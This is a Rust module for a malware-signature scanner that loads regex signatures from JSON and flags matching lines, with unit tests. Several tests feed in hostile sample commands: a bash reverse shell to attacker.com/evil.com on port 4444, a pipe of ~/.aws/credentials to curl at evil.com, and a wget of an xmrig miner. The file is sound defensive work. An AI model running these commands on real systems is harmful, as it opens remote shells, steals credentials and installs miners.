1use crate::rules::{Category, Confidence, Finding, Location, Severity};
2use regex::Regex;
3use serde::{Deserialize, Serialize};
4use std::fs;
5use std::path::Path;
6use thiserror::Error;
7
8const BUILTIN_SIGNATURES: &str = include_str!("../data/malware-signatures.json");
10
11#[derive(Debug, Clone, Serialize, Deserialize)]
12pub struct MalwareSignature {
13 pub id: String,
14 pub name: String,
15 pub description: String,
16 pub pattern: String,
17 pub severity: String,
18 pub category: String,
19 pub confidence: String,
20 pub reference: Option<String>,
21}
22
23#[derive(Debug, Clone, Serialize, Deserialize)]
24pub struct MalwareSignatureFile {
25 pub version: String,
26 pub updated_at: String,
27 pub signatures: Vec<MalwareSignature>,
28}
29
30pub struct CompiledSignature {
31 pub id: String,
32 pub name: String,
33 pub description: String,
34 pub regex: Regex,
35 pub severity: Severity,
36 pub category: Category,
37 pub confidence: Confidence,
38 pub reference: Option<String>,
39}
40
41pub struct MalwareDatabase {
42 signatures: Vec<CompiledSignature>,
43 version: String,
44 updated_at: String,
45}
46
47impl MalwareDatabase {
48 pub fn builtin() -> Result<Self, MalwareDbError> {
50 Self::from_json(BUILTIN_SIGNATURES)
51 }
52
53 pub fn from_file(path: &Path) -> Result<Self, MalwareDbError> {
55 let content = fs::read_to_string(path).map_err(MalwareDbError::ReadFile)?;
56 Self::from_json(&content)
57 }
58
59 pub fn from_json(json: &str) -> Result<Self, MalwareDbError> {
61 let file: MalwareSignatureFile =
62 serde_json::from_str(json).map_err(MalwareDbError::ParseJson)?;
63
64 let mut signatures = Vec::new();
65 for sig in file.signatures {
66 let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
67 id: sig.id.clone(),
68 source: e,
69 })?;
70
71 let severity = match sig.severity.as_str() {
72 "critical" => Severity::Critical,
73 "high" => Severity::High,
74 "medium" => Severity::Medium,
75 "low" => Severity::Low,
76 _ => Severity::Medium,
77 };
78
79 let category = match sig.category.as_str() {
80 "exfiltration" => Category::Exfiltration,
81 "privilege-escalation" => Category::PrivilegeEscalation,
82 "persistence" => Category::Persistence,
83 "prompt-injection" => Category::PromptInjection,
84 "overpermission" => Category::Overpermission,
85 "obfuscation" => Category::Obfuscation,
86 "supply-chain" => Category::SupplyChain,
87 "secret-leak" => Category::SecretLeak,
88 _ => Category::Exfiltration,
89 };
90
91 let confidence = match sig.confidence.as_str() {
92 "certain" => Confidence::Certain,
93 "firm" => Confidence::Firm,
94 "tentative" => Confidence::Tentative,
95 _ => Confidence::Tentative,
96 };
97
98 signatures.push(CompiledSignature {
99 id: sig.id,
100 name: sig.name,
101 description: sig.description,
102 regex,
103 severity,
104 category,
105 confidence,
106 reference: sig.reference,
107 });
108 }
109
110 Ok(Self {
111 signatures,
112 version: file.version,
113 updated_at: file.updated_at,
114 })
115 }
116
117 pub fn version(&self) -> &str {
119 &self.version
120 }
121
122 pub fn updated_at(&self) -> &str {
124 &self.updated_at
125 }
126
127 pub fn signature_count(&self) -> usize {
129 self.signatures.len()
130 }
131
132 pub fn add_signatures(
134 &mut self,
135 signatures: Vec<MalwareSignature>,
136 ) -> Result<(), MalwareDbError> {
137 for sig in signatures {
138 let compiled = Self::compile_signature(sig)?;
139 self.signatures.push(compiled);
140 }
141 Ok(())
142 }
143
144 fn compile_signature(sig: MalwareSignature) -> Result<CompiledSignature, MalwareDbError> {
146 let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
147 id: sig.id.clone(),
148 source: e,
149 })?;
150
151 let severity = match sig.severity.as_str() {
152 "critical" => Severity::Critical,
153 "high" => Severity::High,
154 "medium" => Severity::Medium,
155 "low" => Severity::Low,
156 _ => Severity::Medium,
157 };
158
159 let category = match sig.category.as_str() {
160 "exfiltration" => Category::Exfiltration,
161 "privilege-escalation" => Category::PrivilegeEscalation,
162 "persistence" => Category::Persistence,
163 "prompt-injection" => Category::PromptInjection,
164 "overpermission" => Category::Overpermission,
165 "obfuscation" => Category::Obfuscation,
166 "supply-chain" => Category::SupplyChain,
167 "secret-leak" => Category::SecretLeak,
168 _ => Category::Exfiltration,
169 };
170
171 let confidence = match sig.confidence.as_str() {
172 "certain" => Confidence::Certain,
173 "firm" => Confidence::Firm,
174 "tentative" => Confidence::Tentative,
175 _ => Confidence::Tentative,
176 };
177
178 Ok(CompiledSignature {
179 id: sig.id,
180 name: sig.name,
181 description: sig.description,
182 regex,
183 severity,
184 category,
185 confidence,
186 reference: sig.reference,
187 })
188 }
189
190 pub fn scan_content(&self, content: &str, file_path: &str) -> Vec<Finding> {
192 let mut findings = Vec::new();
193
194 for (line_num, line) in content.lines().enumerate() {
195 for sig in &self.signatures {
196 if sig.regex.is_match(line) {
197 findings.push(Finding {
198 id: sig.id.clone(),
199 severity: sig.severity,
200 category: sig.category,
201 name: sig.name.clone(),
202 location: Location {
203 file: file_path.to_string(),
204 line: line_num + 1,
205 column: None,
206 },
207 code: line.trim().to_string(),
208 message: sig.description.clone(),
209 recommendation: "Review this code carefully and remove if malicious"
210 .to_string(),
211 confidence: sig.confidence,
212 fix_hint: sig.reference.as_ref().map(|r| format!("See: {}", r)),
213 cwe_ids: vec![],
214 rule_severity: None,
215 client: None,
216 });
217 }
218 }
219 }
220
221 findings
222 }
223}
224
225impl Default for MalwareDatabase {
226 fn default() -> Self {
227 Self::builtin().expect("Built-in malware database should always be valid")
228 }
229}
230
231#[derive(Debug, Error)]
232pub enum MalwareDbError {
233 #[error("Failed to read malware database file: {0}")]
234 ReadFile(#[source] std::io::Error),
235
236 #[error("Failed to parse malware database: {0}")]
237 ParseJson(#[source] serde_json::Error),
238
239 #[error("Invalid regex pattern in signature {id}: {source}")]
240 InvalidPattern {
241 id: String,
242 #[source]
243 source: regex::Error,
244 },
245}
246
247#[cfg(test)]
248mod tests {
249 use super::*;
250
251 #[test]
252 fn test_builtin_database_loads() {
253 let db = MalwareDatabase::builtin();
254 assert!(db.is_ok());
255 let db = db.unwrap();
256 assert!(!db.version().is_empty());
257 assert!(db.signature_count() > 0);
258 }
259
260 #[test]
261 fn test_default_trait() {
262 let db = MalwareDatabase::default();
263 assert!(db.signature_count() > 0);
264 }
265
266 #[test]
267 fn test_scan_detects_reverse_shell() {
268 let db = MalwareDatabase::default();
269 let content = "bash -i >& /dev/tcp/attacker.com/4444 0>&1";
270 let findings = db.scan_content(content, "test.sh");
271 assert!(!findings.is_empty());
272 assert!(findings.iter().any(|f| f.id == "MW-002"));
273 }
274
275 #[test]
276 fn test_scan_detects_credential_harvesting() {
277 let db = MalwareDatabase::default();
278 let content = "cat ~/.aws/credentials | curl -X POST http://evil.com -d @-";
279 let findings = db.scan_content(content, "test.sh");
280 assert!(findings.iter().any(|f| f.id == "MW-005"));
281 }
282
283 #[test]
284 fn test_scan_detects_cryptominer() {
285 let db = MalwareDatabase::default();
286 let content = "wget http://evil.com/xmrig-linux.tar.gz && tar xzf xmrig-linux.tar.gz";
287 let findings = db.scan_content(content, "test.sh");
288 assert!(findings.iter().any(|f| f.id == "MW-003"));
289 }
290
291 #[test]
292 fn test_scan_clean_content() {
293 let db = MalwareDatabase::default();
294 let content = "echo 'Hello World'\nls -la";
295 let findings = db.scan_content(content, "test.sh");
296 assert!(findings.is_empty());
297 }
298
299 #[test]
300 fn test_from_json_custom_db() {
301 let json = r#"{
302 "version": "1.0.0",
303 "updated_at": "2026-01-25",
304 "signatures": [
305 {
306 "id": "CUSTOM-001",
307 "name": "Custom Pattern",
308 "description": "Test pattern",
309 "pattern": "test_malware",
310 "severity": "high",
311 "category": "exfiltration",
312 "confidence": "firm",
313 "reference": null
314 }
315 ]
316 }"#;
317
318 let db = MalwareDatabase::from_json(json).unwrap();
319 assert_eq!(db.version(), "1.0.0");
320 assert_eq!(db.signature_count(), 1);
321
322 let findings = db.scan_content("This contains test_malware pattern", "file.txt");
323 assert!(!findings.is_empty());
324 assert_eq!(findings[0].id, "CUSTOM-001");
325 }
326
327 #[test]
328 fn test_invalid_json() {
329 let result = MalwareDatabase::from_json("not valid json");
330 assert!(result.is_err());
331 }
332
333 #[test]
334 fn test_invalid_regex_pattern() {
335 let json = r#"{
336 "version": "1.0.0",
337 "updated_at": "2026-01-25",
338 "signatures": [
339 {
340 "id": "BAD-001",
341 "name": "Bad Pattern",
342 "description": "Invalid regex",
343 "pattern": "[invalid",
344 "severity": "high",
345 "category": "exfiltration",
346 "confidence": "firm",
347 "reference": null
348 }
349 ]
350 }"#;
351
352 let result = MalwareDatabase::from_json(json);
353 assert!(result.is_err());
354 assert!(matches!(result, Err(MalwareDbError::InvalidPattern { .. })));
355 }
356
357 #[test]
358 fn test_finding_has_correct_location() {
359 let db = MalwareDatabase::default();
360 let content = "line1\nline2\nbash -i >& /dev/tcp/evil.com/4444 0>&1\nline4";
361 let findings = db.scan_content(content, "test.sh");
362 assert!(!findings.is_empty());
363 assert_eq!(findings[0].location.line, 3);
364 assert_eq!(findings[0].location.file, "test.sh");
365 }
366
367 #[test]
368 fn test_severity_mapping() {
369 let json = r#"{
370 "version": "1.0.0",
371 "updated_at": "2026-01-25",
372 "signatures": [
373 {
374 "id": "TEST-001",
375 "name": "Critical",
376 "description": "Test",
377 "pattern": "critical_test",
378 "severity": "critical",
379 "category": "exfiltration",
380 "confidence": "certain",
381 "reference": null
382 },
383 {
384 "id": "TEST-002",
385 "name": "Low",
386 "description": "Test",
387 "pattern": "low_test",
388 "severity": "low",
389 "category": "persistence",
390 "confidence": "tentative",
391 "reference": null
392 }
393 ]
394 }"#;
395
396 let db = MalwareDatabase::from_json(json).unwrap();
397
398 let findings = db.scan_content("critical_test", "file.txt");
399 assert_eq!(findings[0].severity, Severity::Critical);
400 assert_eq!(findings[0].confidence, Confidence::Certain);
401
402 let findings = db.scan_content("low_test", "file.txt");
403 assert_eq!(findings[0].severity, Severity::Low);
404 assert_eq!(findings[0].category, Category::Persistence);
405 }
406
407 #[test]
408 fn test_all_severity_levels() {
409 let json = r#"{
410 "version": "1.0.0",
411 "updated_at": "2026-01-25",
412 "signatures": [
413 {"id": "S1", "name": "T", "description": "T", "pattern": "sev_critical", "severity": "critical", "category": "exfiltration", "confidence": "firm", "reference": null},
414 {"id": "S2", "name": "T", "description": "T", "pattern": "sev_high", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
415 {"id": "S3", "name": "T", "description": "T", "pattern": "sev_medium", "severity": "medium", "category": "exfiltration", "confidence": "firm", "reference": null},
416 {"id": "S4", "name": "T", "description": "T", "pattern": "sev_low", "severity": "low", "category": "exfiltration", "confidence": "firm", "reference": null},
417 {"id": "S5", "name": "T", "description": "T", "pattern": "sev_unknown", "severity": "unknown", "category": "exfiltration", "confidence": "firm", "reference": null}
418 ]
419 }"#;
420
421 let db = MalwareDatabase::from_json(json).unwrap();
422
423 let findings = db.scan_content("sev_critical", "file.txt");
424 assert_eq!(findings[0].severity, Severity::Critical);
425
426 let findings = db.scan_content("sev_high", "file.txt");
427 assert_eq!(findings[0].severity, Severity::High);
428
429 let findings = db.scan_content("sev_medium", "file.txt");
430 assert_eq!(findings[0].severity, Severity::Medium);
431
432 let findings = db.scan_content("sev_low", "file.txt");
433 assert_eq!(findings[0].severity, Severity::Low);
434
435 let findings = db.scan_content("sev_unknown", "file.txt");
437 assert_eq!(findings[0].severity, Severity::Medium);
438 }
439
440 #[test]
441 fn test_all_categories() {
442 let json = r#"{
443 "version": "1.0.0",
444 "updated_at": "2026-01-25",
445 "signatures": [
446 {"id": "C1", "name": "T", "description": "T", "pattern": "cat_exfil", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
447 {"id": "C2", "name": "T", "description": "T", "pattern": "cat_priv", "severity": "high", "category": "privilege-escalation", "confidence": "firm", "reference": null},
448 {"id": "C3", "name": "T", "description": "T", "pattern": "cat_persist", "severity": "high", "category": "persistence", "confidence": "firm", "reference": null},
449 {"id": "C4", "name": "T", "description": "T", "pattern": "cat_prompt", "severity": "high", "category": "prompt-injection", "confidence": "firm", "reference": null},
450 {"id": "C5", "name": "T", "description": "T", "pattern": "cat_overperm", "severity": "high", "category": "overpermission", "confidence": "firm", "reference": null},
451 {"id": "C6", "name": "T", "description": "T", "pattern": "cat_obfusc", "severity": "high", "category": "obfuscation", "confidence": "firm", "reference": null},
452 {"id": "C7", "name": "T", "description": "T", "pattern": "cat_supply", "severity": "high", "category": "supply-chain", "confidence": "firm", "reference": null},
453 {"id": "C8", "name": "T", "description": "T", "pattern": "cat_secret", "severity": "high", "category": "secret-leak", "confidence": "firm", "reference": null},
454 {"id": "C9", "name": "T", "description": "T", "pattern": "cat_unknown", "severity": "high", "category": "unknown", "confidence": "firm", "reference": null}
455 ]
456 }"#;
457
458 let db = MalwareDatabase::from_json(json).unwrap();
459
460 let findings = db.scan_content("cat_exfil", "file.txt");
461 assert_eq!(findings[0].category, Category::Exfiltration);
462
463 let findings = db.scan_content("cat_priv", "file.txt");
464 assert_eq!(findings[0].category, Category::PrivilegeEscalation);
465
466 let findings = db.scan_content("cat_persist", "file.txt");
467 assert_eq!(findings[0].category, Category::Persistence);
468
469 let findings = db.scan_content("cat_prompt", "file.txt");
470 assert_eq!(findings[0].category, Category::PromptInjection);
471
472 let findings = db.scan_content("cat_overperm", "file.txt");
473 assert_eq!(findings[0].category, Category::Overpermission);
474
475 let findings = db.scan_content("cat_obfusc", "file.txt");
476 assert_eq!(findings[0].category, Category::Obfuscation);
477
478 let findings = db.scan_content("cat_supply", "file.txt");
479 assert_eq!(findings[0].category, Category::SupplyChain);
480
481 let findings = db.scan_content("cat_secret", "file.txt");
482 assert_eq!(findings[0].category, Category::SecretLeak);
483
484 let findings = db.scan_content("cat_unknown", "file.txt");
486 assert_eq!(findings[0].category, Category::Exfiltration);
487 }
488
489 #[test]
490 fn test_all_confidence_levels() {
491 let json = r#"{
492 "version": "1.0.0",
493 "updated_at": "2026-01-25",
494 "signatures": [
495 {"id": "CF1", "name": "T", "description": "T", "pattern": "conf_certain", "severity": "high", "category": "exfiltration", "confidence": "certain", "reference": null},
496 {"id": "CF2", "name": "T", "description": "T", "pattern": "conf_firm", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
497 {"id": "CF3", "name": "T", "description": "T", "pattern": "conf_tentative", "severity": "high", "category": "exfiltration", "confidence": "tentative", "reference": null},
498 {"id": "CF4", "name": "T", "description": "T", "pattern": "conf_unknown", "severity": "high", "category": "exfiltration", "confidence": "unknown", "reference": null}
499 ]
500 }"#;
501
502 let db = MalwareDatabase::from_json(json).unwrap();
503
504 let findings = db.scan_content("conf_certain", "file.txt");
505 assert_eq!(findings[0].confidence, Confidence::Certain);
506
507 let findings = db.scan_content("conf_firm", "file.txt");
508 assert_eq!(findings[0].confidence, Confidence::Firm);
509
510 let findings = db.scan_content("conf_tentative", "file.txt");
511 assert_eq!(findings[0].confidence, Confidence::Tentative);
512
513 let findings = db.scan_content("conf_unknown", "file.txt");
515 assert_eq!(findings[0].confidence, Confidence::Tentative);
516 }
517
518 #[test]
519 fn test_signature_with_reference() {
520 let json = r#"{
521 "version": "1.0.0",
522 "updated_at": "2026-01-25",
523 "signatures": [
524 {
525 "id": "REF-001",
526 "name": "Test with reference",
527 "description": "Test",
528 "pattern": "ref_test",
529 "severity": "high",
530 "category": "exfiltration",
531 "confidence": "firm",
532 "reference": "https://example.com/reference"
533 }
534 ]
535 }"#;
536
537 let db = MalwareDatabase::from_json(json).unwrap();
538 let findings = db.scan_content("ref_test", "file.txt");
539 assert!(findings[0].fix_hint.is_some());
540 assert!(
541 findings[0]
542 .fix_hint
543 .as_ref()
544 .unwrap()
545 .contains("https://example.com/reference")
546 );
547 }
548
549 #[test]
550 fn test_malware_db_error_display_read_file() {
551 let io_error =
552 std::io::Error::new(std::io::ErrorKind::PermissionDenied, "permission denied");
553 let error = MalwareDbError::ReadFile(io_error);
554 assert!(format!("{}", error).contains("Failed to read malware database file"));
555 }
556
557 #[test]
558 fn test_malware_db_error_display_parse_json() {
559 let result: Result<MalwareSignatureFile, _> = serde_json::from_str("invalid json");
561 let json_error = result.unwrap_err();
562 let error = MalwareDbError::ParseJson(json_error);
563 assert!(format!("{}", error).contains("Failed to parse malware database"));
564 }
565
566 #[test]
567 #[allow(clippy::invalid_regex)]
568 fn test_malware_db_error_display_invalid_pattern() {
569 let regex_error = Regex::new("[invalid").unwrap_err();
571 let error = MalwareDbError::InvalidPattern {
572 id: "SIG-001".to_string(),
573 source: regex_error,
574 };
575 assert!(format!("{}", error).contains("Invalid regex pattern"));
576 assert!(format!("{}", error).contains("SIG-001"));
577 }
578
579 #[test]
580 fn test_malware_db_error_is_error() {
581 let io_error = std::io::Error::new(std::io::ErrorKind::NotFound, "not found");
582 let error: Box<dyn std::error::Error> = Box::new(MalwareDbError::ReadFile(io_error));
583 assert!(!error.to_string().is_empty());
584 }
585
586 #[test]
587 fn test_database_metadata() {
588 let db = MalwareDatabase::default();
589 assert!(!db.version().is_empty());
590 assert!(!db.updated_at().is_empty());
591 }
592
593 #[test]
594 fn test_multiline_content_scan() {
595 let db = MalwareDatabase::default();
596 let content = r#"
597#!/bin/bash
598echo "Hello"
599bash -i >& /dev/tcp/evil.com/4444 0>&1
600echo "Goodbye"
601"#;
602 let findings = db.scan_content(content, "test.sh");
603 assert!(!findings.is_empty());
604 assert_eq!(findings[0].location.line, 4);
605 }
606
607 #[test]
608 fn test_add_signatures() {
609 let mut db = MalwareDatabase::default();
610 let initial_count = db.signature_count();
611
612 let custom_sigs = vec![MalwareSignature {
613 id: "MW-CUSTOM-001".to_string(),
614 name: "Custom Malware".to_string(),
615 description: "Test custom pattern".to_string(),
616 pattern: "custom_evil_pattern".to_string(),
617 severity: "critical".to_string(),
618 category: "exfiltration".to_string(),
619 confidence: "firm".to_string(),
620 reference: None,
621 }];
622
623 db.add_signatures(custom_sigs).unwrap();
624 assert_eq!(db.signature_count(), initial_count + 1);
625
626 let findings = db.scan_content("custom_evil_pattern detected", "test.sh");
628 assert!(!findings.is_empty());
629 assert!(findings.iter().any(|f| f.id == "MW-CUSTOM-001"));
630 }
631
632 #[test]
633 fn test_add_signatures_invalid_pattern() {
634 let mut db = MalwareDatabase::default();
635 let custom_sigs = vec![MalwareSignature {
636 id: "MW-INVALID".to_string(),
637 name: "Invalid".to_string(),
638 description: "Test".to_string(),
639 pattern: "[invalid(".to_string(), severity: "high".to_string(),
641 category: "exfiltration".to_string(),
642 confidence: "firm".to_string(),
643 reference: None,
644 }];
645
646 let result = db.add_signatures(custom_sigs);
647 assert!(result.is_err());
648 }
649
650 #[test]
651 fn test_add_signatures_all_severity_levels() {
652 let mut db = MalwareDatabase::default();
653 let custom_sigs = vec![
654 MalwareSignature {
655 id: "ADD-HIGH".to_string(),
656 name: "High".to_string(),
657 description: "Test".to_string(),
658 pattern: "add_high_test".to_string(),
659 severity: "high".to_string(),
660 category: "exfiltration".to_string(),
661 confidence: "firm".to_string(),
662 reference: None,
663 },
664 MalwareSignature {
665 id: "ADD-MEDIUM".to_string(),
666 name: "Medium".to_string(),
667 description: "Test".to_string(),
668 pattern: "add_medium_test".to_string(),
669 severity: "medium".to_string(),
670 category: "exfiltration".to_string(),
671 confidence: "firm".to_string(),
672 reference: None,
673 },
674 MalwareSignature {
675 id: "ADD-LOW".to_string(),
676 name: "Low".to_string(),
677 description: "Test".to_string(),
678 pattern: "add_low_test".to_string(),
679 severity: "low".to_string(),
680 category: "exfiltration".to_string(),
681 confidence: "firm".to_string(),
682 reference: None,
683 },
684 MalwareSignature {
685 id: "ADD-UNKNOWN".to_string(),
686 name: "Unknown".to_string(),
687 description: "Test".to_string(),
688 pattern: "add_unknown_test".to_string(),
689 severity: "unknown".to_string(),
690 category: "exfiltration".to_string(),
691 confidence: "firm".to_string(),
692 reference: None,
693 },
694 ];
695
696 db.add_signatures(custom_sigs).unwrap();
697
698 let findings = db.scan_content("add_high_test", "test.txt");
699 assert_eq!(findings[0].severity, Severity::High);
700
701 let findings = db.scan_content("add_medium_test", "test.txt");
702 assert_eq!(findings[0].severity, Severity::Medium);
703
704 let findings = db.scan_content("add_low_test", "test.txt");
705 assert_eq!(findings[0].severity, Severity::Low);
706
707 let findings = db.scan_content("add_unknown_test", "test.txt");
708 assert_eq!(findings[0].severity, Severity::Medium); }
710
711 #[test]
712 fn test_add_signatures_all_categories() {
713 let mut db = MalwareDatabase::default();
714 let custom_sigs = vec![
715 MalwareSignature {
716 id: "CAT-PRIV".to_string(),
717 name: "Priv".to_string(),
718 description: "Test".to_string(),
719 pattern: "cat_priv_add".to_string(),
720 severity: "high".to_string(),
721 category: "privilege-escalation".to_string(),
722 confidence: "firm".to_string(),
723 reference: None,
724 },
725 MalwareSignature {
726 id: "CAT-PERSIST".to_string(),
727 name: "Persist".to_string(),
728 description: "Test".to_string(),
729 pattern: "cat_persist_add".to_string(),
730 severity: "high".to_string(),
731 category: "persistence".to_string(),
732 confidence: "firm".to_string(),
733 reference: None,
734 },
735 MalwareSignature {
736 id: "CAT-PROMPT".to_string(),
737 name: "Prompt".to_string(),
738 description: "Test".to_string(),
739 pattern: "cat_prompt_add".to_string(),
740 severity: "high".to_string(),
741 category: "prompt-injection".to_string(),
742 confidence: "firm".to_string(),
743 reference: None,
744 },
745 MalwareSignature {
746 id: "CAT-OVERPERM".to_string(),
747 name: "Overperm".to_string(),
748 description: "Test".to_string(),
749 pattern: "cat_overperm_add".to_string(),
750 severity: "high".to_string(),
751 category: "overpermission".to_string(),
752 confidence: "firm".to_string(),
753 reference: None,
754 },
755 MalwareSignature {
756 id: "CAT-OBFUSC".to_string(),
757 name: "Obfusc".to_string(),
758 description: "Test".to_string(),
759 pattern: "cat_obfusc_add".to_string(),
760 severity: "high".to_string(),
761 category: "obfuscation".to_string(),
762 confidence: "firm".to_string(),
763 reference: None,
764 },
765 MalwareSignature {
766 id: "CAT-SUPPLY".to_string(),
767 name: "Supply".to_string(),
768 description: "Test".to_string(),
769 pattern: "cat_supply_add".to_string(),
770 severity: "high".to_string(),
771 category: "supply-chain".to_string(),
772 confidence: "firm".to_string(),
773 reference: None,
774 },
775 MalwareSignature {
776 id: "CAT-SECRET".to_string(),
777 name: "Secret".to_string(),
778 description: "Test".to_string(),
779 pattern: "cat_secret_add".to_string(),
780 severity: "high".to_string(),
781 category: "secret-leak".to_string(),
782 confidence: "firm".to_string(),
783 reference: None,
784 },
785 MalwareSignature {
786 id: "CAT-UNKNOWN".to_string(),
787 name: "Unknown".to_string(),
788 description: "Test".to_string(),
789 pattern: "cat_unknown_add".to_string(),
790 severity: "high".to_string(),
791 category: "unknown".to_string(),
792 confidence: "firm".to_string(),
793 reference: None,
794 },
795 ];
796
797 db.add_signatures(custom_sigs).unwrap();
798
799 let findings = db.scan_content("cat_priv_add", "test.txt");
800 assert_eq!(findings[0].category, Category::PrivilegeEscalation);
801
802 let findings = db.scan_content("cat_persist_add", "test.txt");
803 assert_eq!(findings[0].category, Category::Persistence);
804
805 let findings = db.scan_content("cat_prompt_add", "test.txt");
806 assert_eq!(findings[0].category, Category::PromptInjection);
807
808 let findings = db.scan_content("cat_overperm_add", "test.txt");
809 assert_eq!(findings[0].category, Category::Overpermission);
810
811 let findings = db.scan_content("cat_obfusc_add", "test.txt");
812 assert_eq!(findings[0].category, Category::Obfuscation);
813
814 let findings = db.scan_content("cat_supply_add", "test.txt");
815 assert_eq!(findings[0].category, Category::SupplyChain);
816
817 let findings = db.scan_content("cat_secret_add", "test.txt");
818 assert_eq!(findings[0].category, Category::SecretLeak);
819
820 let findings = db.scan_content("cat_unknown_add", "test.txt");
821 assert_eq!(findings[0].category, Category::Exfiltration); }
823
824 #[test]
825 fn test_add_signatures_all_confidence_levels() {
826 let mut db = MalwareDatabase::default();
827 let custom_sigs = vec![
828 MalwareSignature {
829 id: "CONF-TENT".to_string(),
830 name: "Tentative".to_string(),
831 description: "Test".to_string(),
832 pattern: "conf_tentative_add".to_string(),
833 severity: "high".to_string(),
834 category: "exfiltration".to_string(),
835 confidence: "tentative".to_string(),
836 reference: None,
837 },
838 MalwareSignature {
839 id: "CONF-UNKNOWN".to_string(),
840 name: "Unknown".to_string(),
841 description: "Test".to_string(),
842 pattern: "conf_unknown_add".to_string(),
843 severity: "high".to_string(),
844 category: "exfiltration".to_string(),
845 confidence: "unknown".to_string(),
846 reference: None,
847 },
848 ];
849
850 db.add_signatures(custom_sigs).unwrap();
851
852 let findings = db.scan_content("conf_tentative_add", "test.txt");
853 assert_eq!(findings[0].confidence, Confidence::Tentative);
854
855 let findings = db.scan_content("conf_unknown_add", "test.txt");
856 assert_eq!(findings[0].confidence, Confidence::Tentative); }
858}